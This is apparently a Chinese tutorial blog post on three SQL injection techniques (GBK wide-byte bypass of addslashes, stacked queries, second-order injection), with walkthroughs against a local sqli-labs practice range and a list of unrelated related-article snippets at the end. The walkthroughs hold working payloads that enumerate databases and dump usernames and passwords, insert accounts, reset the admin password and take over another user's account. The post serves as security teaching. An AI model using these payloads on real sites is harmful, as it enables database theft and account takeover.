SQL注入(宽字节、堆叠、二次注入)

devtools/2024/9/20 1:33:04/ 标签: 安全, 网络安全, web安全, 系统安全, sql, 数据库

目录

【学习目标、重难点知识】

【学习目标】

【重难点知识】

1. 宽字节注入

1.1 什么是宽字节

1.2 gbk编码原理

1.3 宽字节注入原理

1.4 靶场解析

靶场练习

2. 堆叠注入(多语句)

2.1 使用条件

2.2 语句构造

2.3 靶场解析

靶场练习

3. 二次注入

原理

思路

过程回顾

靶场解析

靶场练习


本文所使用的sql注入靶场为sqli-labs-master,靶场资源文件已上传,如有需要请前往主页或以下链接下载

信安必备靶场-sqli-labs-master-用于练习sql注入各种注入类型资源-CSDN文库

【学习目标、重难点知识】

【学习目标】

  1. 宽字节注入
  1. 堆叠注入
  1. 二次注入

【重难点知识】

  1. 宽字节注入
  1. 二次注入

1. 宽字节注入

前言

由于sql注入的盛行,不少网站管理员都意识到了这种攻击方式的厉害,纷纷想出不少办法来避免,例如使用一些Mysql中转义的函数addslashes,mysql_real_escape_string,mysql_escape_string等等。其实这些函数就是为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义。

addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL
mysql_real_escape_string() — 将字符串中的特殊字符进行转义\x00
\n
\r
\
'
"
\x1a
mysql_escape_string:注意,php5.3中已经不使用。

1.1 什么是宽字节

宽字节(Wide Byte)是计算机编程和字符编码中的概念,通常指的是使用多字节编码来表示一个字符的字节序列。ascii => GBK =>Unicode=>utf

让我们来解释一下:

  • 单字节字符编码:在单字节字符编码中,每个字符都由一个字节(8位)表示。这意味着每个字符的取值范围在0到255之间。在ASCII编码中,每个字符都由一个字节表示。
  • 双字节字符编码:在双字节字符编码中,每个字符由两个字节(16位)表示。这允许表示更多的字符,包括各种语言中的特殊字符和符号。UTF-16就是一种双字节字符编码。
  • 多字节字符编码:在多字节字符编码中,字符的长度可以是可变的,通常使用不同数量的字节来表示字符。UTF-8是一种常见的多字节字符编码,它可以使用1到4个字节来表示一个字符,具体取决于字符的Unicode码点。

GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。

GBK是一种多字符的编码,通常来说,一个用gbk编码的汉字,占用2个字节。

1.2 gbk编码原理

GBK(Chinese Internal Code Specification),又称为GB2312的扩展,是一种汉字字符编码方式,用于表示中文字符和一些特殊字符。我们上面说过,**GBK是一种多字符的编码,通常来说,一个用gbk编码的汉字,占用2个字节。**取值范围是(编码位数):第一个字节是(129-254),第二个字节(64-254)

如果设置了“set character_set_client=gbk”(gbk编码设置),通常导致编码转换的注入问题,尤其是使用php连接mysql数据库的时候一个gbk汉字占两个字节,当设置gbk编码后,遇到连续两个字节,都符合gbk取值范围,会自动解析为一个汉字。

宽字节注入的前提条件:

判断数据库是否使用了GBK编码:修改浏览器编码格式为gbk,如果没有乱码则是使用了gbk

修改浏览器编码格式共有两种方法,如下:

方法1:

1.打开设置,点击默认浏览器,允许在IE模式下重新加载网站,然后重启浏览器。

2.点击右上角的设置(三点)

3.选择在IE模式下重新加载

4.鼠标右键网页,点击编码,就可以实现了

方法2:

由于有的网页不支持IE模式,可以在浏览器扩展中下载charset来进行编码格式的更改

下载之后点击就可以使用。

原文链接:修改浏览器编码格式_浏览器编码格式怎么设置-CSDN博客

1.3 宽字节注入原理

  • mysql默认使用GBK编码,所以当mysql使用GBk编码时,会认为两个字符是一个汉字
    • 前一个字符ASCII码要大于128,才会得到汉字范围
  • 这就是mysql的特性,因为BGK是多字节编码,它认为两个字节是一个汉字
  • 所以我们在代入参数时,输入%df%27,本来\ 会转义%27,但\(十六进制是 %5C)的编码位数为92,%df的编码位数为223,%df%5c符合gbk取值范围(第一个字节129-254,第二个字节64-254),会解析为一个汉字“運”,这样\就会失去应有的作用。

传入%df'

经过后端php处理%df\'

传到数据库中样子:%df%5c%27=>運'

当我们进行 SQL注入时,会进行以下操作

(1)?id=1' and 1=1 #这是正常的语句,我们使用SQL语句看一下select * from user where id='1' and 1=1 #' 	//可以成功闭合当php使用函数对接受的参数做了处理后,将单引号转义,在单引号前面加上了 转义符"\"在sql中的语句是:select * from user where id='1\' and 1=1 #'select * from user where id='1%df\' and 1=1 #'select * from user where id='1%df%5c' and 1=1 #'select * from user where id='1運' and 1=1 #'# 这时代入数据库查看,这是明显没有注入成功的,因为前面的单引号被转义了,没有闭合

(2) 当我们代入了 %df 时,在数据库中就变成了

?id=1%df' and 1=1 #
  • 这时,转义函数,还会对我们输入的单引号进行转义,转义成 \' 而GBK编码下,反斜杠\的十六进制表示是5C。因此,当你传入的参数为%df\',经过GBK编码处理后,\会被编码成%5C
  • 所以传入数据库中的参数变成了%df%5C'
  • 数据库sql语句进行GBK编码后,会将%df%5c结合到一起组成 从而通过%df吃掉了反斜杠\
    从而闭合掉了后面的引号,查询成功

最后的sql语句是:

select * from user where id='1運' and 1=1#'1'
经过php后端过滤变成:1\'所以尝试传入:1%df'
经过php处理:1%df\'			//这里反斜杠\,在gbk编码下的%5c
在此处理后:1%df%5c'
传入到数据库中的时候数据库指定了GBK编码,所以编码后%df和%5c进行结合:1運'

1.4 靶场解析

Pass-15 Bypass addslashes()

  • 闭合语句
http://sqli21/Pass-15/index.php?id=1%df'  -- s
  • 判断注入点
http://sqli21/Pass-15/index.php?id=1%df' and 1=1 -- s
http://sqli21/Pass-15/index.php?id=1%df' and 1=2 -- s
  • 判断字段
http://sqli21/Pass-15/index.php?id=1%df' order by 3 -- s
  • 尝试联合查询,定位回显点
http://sqli21/Pass-15/index.php?id=-1%df' union select 1,2,3 -- s
  • 爆出当前用户
http://sqli21/Pass-15/index.php?id=-1%df' union select 1,user(),database() -- s
  • 查找所有的库名
http://sqli21/Pass-15/index.php?id=-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata -- s
  • 查找所有的表名
http://sqli21/Pass-15/index.php?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- s
  • 查找所有的字段名
过滤了双引号,会报错http://sqli21/Pass-15/index.php?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users" -- s

http://sqli21/Pass-15/index.php?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x75736572 -- s
http://sqli21/Pass-15/index.php?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 1,1) -- s
    • 表名转16进制
    • 子查询
  • 爆数据
http://sqli21/Pass-15/index.php?id=-1%df' union select 1,group_concat(password),group_concat(username) from user -- a

靶场练习

Less-32 Bypass addslashes()

Less-33 、Less-34 、Less-35 、Less-36 、Less-37

参考:https://www.cnblogs.com/jinqi520/p/9581510.html

2. 堆叠注入(多语句)

Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

2.1 使用条件

堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query(link ,sql)函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

2.2 语句构造

正常sql语句:

select * from users where id='1' ;

注入sql语句:

select * from users where id='1';select if(length(database())>5,sleep(5),1)%23

Payload=

1';select if(length(database())>5,sleep(5),1)%23

Payload=

 1';select if(substr(user(),1,1)='r',sleep(3),1)%23 

payload=

1';insert into users(id,username,password) value (666,'zgao','zgao') --+

payload=

1';update users set password = '12345678' where username='admin' -- s

如此句:从堆叠注入语句中可以看出,第二条SQL语句(select if(substr(user(),1,1)=‘r’,sleep(3),1)%23就是时间盲注的语句。

堆叠注入和union的区别在于,union后只能跟select,而堆叠后面可以使用insert,update, create,delete等常规数据库语句。

需要注意的是:在堆叠注入中时间盲注可能不会生效,可以直接使用添加语句测试

2.3 靶场解析

判断是否存在堆叠注入

http://sqli21/Pass-18/index.php?id=1 -- s
http://sqli21/Pass-18/index.php?id=1;select 123 -- s		如果可以返回正常,说明可以进行堆叠如果报错或者返回异常,则不能进行堆叠
http://sqli21/Pass-18/index.php?id=2;insert into user(id,username,password) value (888,'gok','gok123') -- a									

靶场练习

sqli-labs less38 GET -Stacked Query Injection -String based (GET型堆叠查询字符型注入)

sqli-labs less39 GET -Stacked Query Injection -Intiger based (GET型堆叠查询整型注入)

3. 二次注入

原理

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者即使对用户输入的恶意数据进行转义,当数据插入到数据库中时被处理的数据又被还原,Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

也就是说一次攻击造成不了什么,但是两次配合起来就会早成注入漏洞。

思路

第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

先插入一条数据:

<?php
include_once "database.php";
include_once "member-check.php";$sql="insert into users values (13,'admin/' -- s ','aaaaaaaa/' -- s')";
execute($sql);

再去查看插入的内容

<?php
include_once "database.php";
include_once "member-check.php";//$sql="insert into users values (13,'admin\' -- s','aaaaaaaa\' -- s')";
//execute($sql);$sql="select * from users where id=13";
$query = query($sql);
pre($query);

第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

<?php
include_once "database.php";
include_once "member-check.php";//$sql="insert into users values (13,'admin\' -- s','aaaaaaaa\' -- s')";//execute($sql);$sql="select * from users where id=13";
$query = query($sql);
pre($query);$username=$query[0]['username'];
//echo $username;13  用户名:tom' -- s   密码:aaaaaaaa' -- sold:123new:123456renew:$sql="update users set password='123456' where username='tom' -- s' and old='aaaaaaaa' -- s'";
echo $sql;
execute($sql);

过程回顾

第一次插入恶意代码值:

插入的值:admin' -- s
经过后端过滤之后变成:admin\' -- s
存储到数据库的时候,数据库把反斜杠给去掉了,这时候就变成原来的值:admin' -- s

第二次执行的操作,调用了第一次插入的值

update users set password='admin' where username='admin' -- s'		实际上修改的是账号:adminselect * from users where username='admin' -- s'
delete from users where username='admin' -- s'

靶场解析

Pass - 19 二次注入

因为修改密码的语句为:
update user set password=$password where username=("gok") -- a "and password=$oldpassword; 
先创建账号(保证账号可以正常登录,而且可以注释掉后面的旧密码验证)
注册账号:gok' -- s密码:123456注册后直接登录,修改密码
输入新的密码12345678,原始密码、确认密码不用输入,因为会被注释掉,输入后的语句为:
update user 
set password=12345678 
where username=gok' -- s and password=123456; 这个时候就在不知道gokAdmin这个账户的密码情况下修改了它的密码。然后直接登录

靶场练习

Less - 24 Second Degree Injections Real treat -Store Injections (二次注入)

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

之后我会继续出sql注入知识点总结直至完整,如有需要请关注持续更新(本文部分内容来自课件,如有版权问题请与我联系)


http://www.ppmy.cn/devtools/95399.html

相关文章

HDFS常用命令

文章目录 HDFS常用命令1. hdfs dfs -ls&#xff1a;列出目录内容。2. hdfs dfs -mkdir&#xff1a;创建目录3. hdfs dfs -put&#xff1a;将本地文件上传到 HDFS4. hdfs dfs -get&#xff1a;从 HDFS 下载文件到本地文件系统5. hdfs dfs -rm&#xff1a;删除 HDFS 上的文件或目…

成长:思维的转变

今天&#xff0c;突然把之前的经历都整合为了一些理论&#xff0c;上升到了另一个层次&#xff0c;我对这段时间的体会还是很深的&#xff0c;在我与同学一起学习的这段时间&#xff0c;我思考问题的方式竟然是被有意引导的&#xff0c;不得不说&#xff0c;对人性的理解确实上…

第八季完美童模全球总冠军·韩嘉潞 破浪扬帆写就传奇

梦想的舞台上&#xff0c;星光璀璨&#xff0c;每一步都闪耀着坚持与努力的光芒。在这个盛夏&#xff0c;我们共同见证了一个关于勇气、才华与梦想的辉煌篇章——星光女孩韩嘉潞&#xff0c;在第八季完美童模的璀璨舞台上&#xff0c;以非凡的魅力与不懈的努力&#xff0c;勇夺…

网络协议 十一 ARP,RARP,icmp,websocket,webservice,HTTPDNS,FTP,邮件相关的协议, SMTP,POP,IMAP

ARP 已知IP 求 MAC 的过程 RARP 已知MAC 求 IP 的过程&#xff0c;已被DHCP取代 ICMP websocket 协议&#xff0c;html5中提出的前端使用协议 webservice 技术&#xff0c;已过时 HTTPDNS 之前我们要获得 某一个域名的 IP &#xff0c;要通过DNS协议 去 运营商的ISP 查询&…

SQL注入(head、报错、盲注)

目录 【学习目标、重难点知识】 【学习目标】 【重难点知识】 1. 报错注入 1.1 那么什么是报错注入呢&#xff1f; 1.2 报错注入原理 extractvalue函数 updatexml函数 1.3 靶场解析 靶场练习 2. HEAD注入 2.1 相关全局变量 2.2 靶场解析 burp暴力破解 靶场练习 3…

【vue】在页面右下角添加悬浮按钮组件

效果图&#xff1a; 如上图所示&#xff0c;需要在页面的左下角添加一个悬浮按钮&#xff0c;鼠标放上去时候展示更多详细按钮&#xff0c;点击触发相应方法。 <div class"floating-component"><!-- 悬浮内容 --><el-tooltip placement"left&qu…

深入探讨程序化广告的广告上报阶段:关键细节与最佳实践

个人名片 &#x1f393;作者简介&#xff1a;java领域优质创作者 &#x1f310;个人主页&#xff1a;码农阿豪 &#x1f4de;工作室&#xff1a;新空间代码工作室&#xff08;提供各种软件服务&#xff09; &#x1f48c;个人邮箱&#xff1a;[2435024119qq.com] &#x1f4f1…

基于springboot的医药管理系统

TOC springboot194基于springboot的医药管理系统 绪论 1.1 选题背景 当人们发现随着生产规模的不断扩大&#xff0c;人为计算方面才是一个巨大的短板&#xff0c;所以发明了各种计算设备&#xff0c;从结绳记事&#xff0c;到算筹&#xff0c;以及算盘&#xff0c;到如今的…

Excel工作表同类数据合并工具

下载地址&#xff1a;https://pan.quark.cn/s/81b1aeb45e4c 在Excel表格中&#xff0c;把多行同类数据合并为一行是件令人无比头痛的事情&#xff1a;首先&#xff0c;你得确定哪几条记录是可合并的同类数据&#xff0c;人工对比多个字段难免顾此失彼挂一漏万&#xff1b;其次&…

在进行等保测评时,如何确保资产识别的全面性和准确性?

在进行等保测评时&#xff0c;确保资产识别的全面性和准确性是至关重要的&#xff0c;以下是一些关键步骤&#xff1a; 1. 明确资产定义&#xff1a;首先明确什么是资产&#xff0c;包括硬件、软件、数据、服务、人员等。 2. 资产清单&#xff1a;创建一个详细的资产清单&…

Myc抗体选择避坑指南

同学&#xff1a; 最近在为买Myc抗体发愁&#xff0c;真害怕买错了&#xff0c;不但损失几千块钱&#xff0c;更害怕实验数据出问题&#xff01;c-Myc和Myc-Tag区别是什么呢&#xff1f; 龙宝&#xff1a; c-Myc 基因 是 Myc 基因家族的重要成员之一&#xff0c;他与多种肿…

C++引用和指针的区别还分不清楚?

不像其他语言&#xff0c;c既有引用的概念、又有指针的概念。 很多人用着用着就懵了。 不用慌&#xff0c;给你画个表格协助判断。 总体上&#xff0c;我们可以总结为以下五个区别&#xff1a; 一、定义方式&#xff1a; 指针通过使用 * 来定义&#xff0c;例如&#xff1…

Qt之2048项目的介绍

文章目录 前言项目介绍项目截图技术介绍1. Qt 框架2. 界面绘制3. 用户输入4. 游戏逻辑5. 音效处理总结前言 2048 是一款流行的益智游戏,通过滑动屏幕上的数字方块,使相同的数字合并并生成更大的数字,最终目标是生成2048这个数字。本文介绍了基于 Qt 框架开发的一个 2048 游…

【前端】NodeJS:记账本案例优化(会话控制)——登录、注册

文章目录 1 checkLoginMiddleware.js2 auth.js3 app.js4 设置公益404&#xff1a;404.ejs 1 checkLoginMiddleware.js //检测登录的中间件 module.exports (req, res, next) > {//判断if(!req.session.username){return res.redirect(/login);}next(); }2 auth.js var ex…

YOLOv8改进 | 融合改进 | C2f融合轻量化视觉Transformer【完整代码】

秋招面试专栏推荐 &#xff1a;深度学习算法工程师面试问题总结【百面算法工程师】——点击即可跳转 &#x1f4a1;&#x1f4a1;&#x1f4a1;本专栏所有程序均经过测试&#xff0c;可成功执行&#x1f4a1;&#x1f4a1;&#x1f4a1; 专栏目录 &#xff1a;《YOLOv8改进有效…

python实现每天定时发送邮件

文章目录 步骤 1: 安装所需的库步骤 2: 编写发送电子邮件的 Python 脚本步骤 3: 配置电子邮件发送服务步骤 4: 运行脚本进一步扩展 要编写一个用于自动发送每日电子邮件报告的 Python 脚本&#xff0c;并配置它在每天的特定时间发送电子邮件&#xff0c;使用 smtplib 和 emai…

【功能全局变量】设计模式讲解

1.什么是功能全局变量&#xff08;FGV&#xff09;&#xff1f; FGV是一种标准的LabVIEW数据结构&#xff0c;允许对数据或资源进行受控访问&#xff0c;通常允许执行各种操作。每次调用FGV时&#xff0c;框图只会执行一次&#xff0c;要么进行数据更新&#xff0c;要么进行读取…

MySQL——单表查询(二)按条件查询(2)带 IN 关键字的查询

IN 关键字用于判断某个字段的值是否在指定集合中&#xff0c;如果字段的值在集合中&#xff0c;则满足条件&#xff0c;该字段所在的记录将被查询出来。其语法格式如下所示&#xff1a; SELECT *|字段名 1,字段名 2,… FROM 表名 WHERE 字段名 [NOT〕IN(元素 1,元素 2,…) 在上…

WPS真题题库导入刷题小程序:百思考个人使用经验分享

这篇文章的诞生&#xff0c;是因为我即将踏上一场超级有趣的挑战——备考全国计算机等级二级WPS Office高级应用与设计的冒险之旅&#xff01; WPS的分值&#xff1a; 单项选择题20分(含公共基础知识部分10分)。 WPS处理文字文档操作题30分。 WPS处理电子表格操作题30分。 …

Electron:摄像头录制和屏幕录制

摄像头录制 main.js const { app, BrowserWindow} require(electron)let mainWin null const createWindow () > {mainWin new BrowserWindow({width: 800,height: 600,title: 自定义菜单,webPreferences: {// 允许渲染进程使用nodejsnodeIntegration: true,// 允许渲…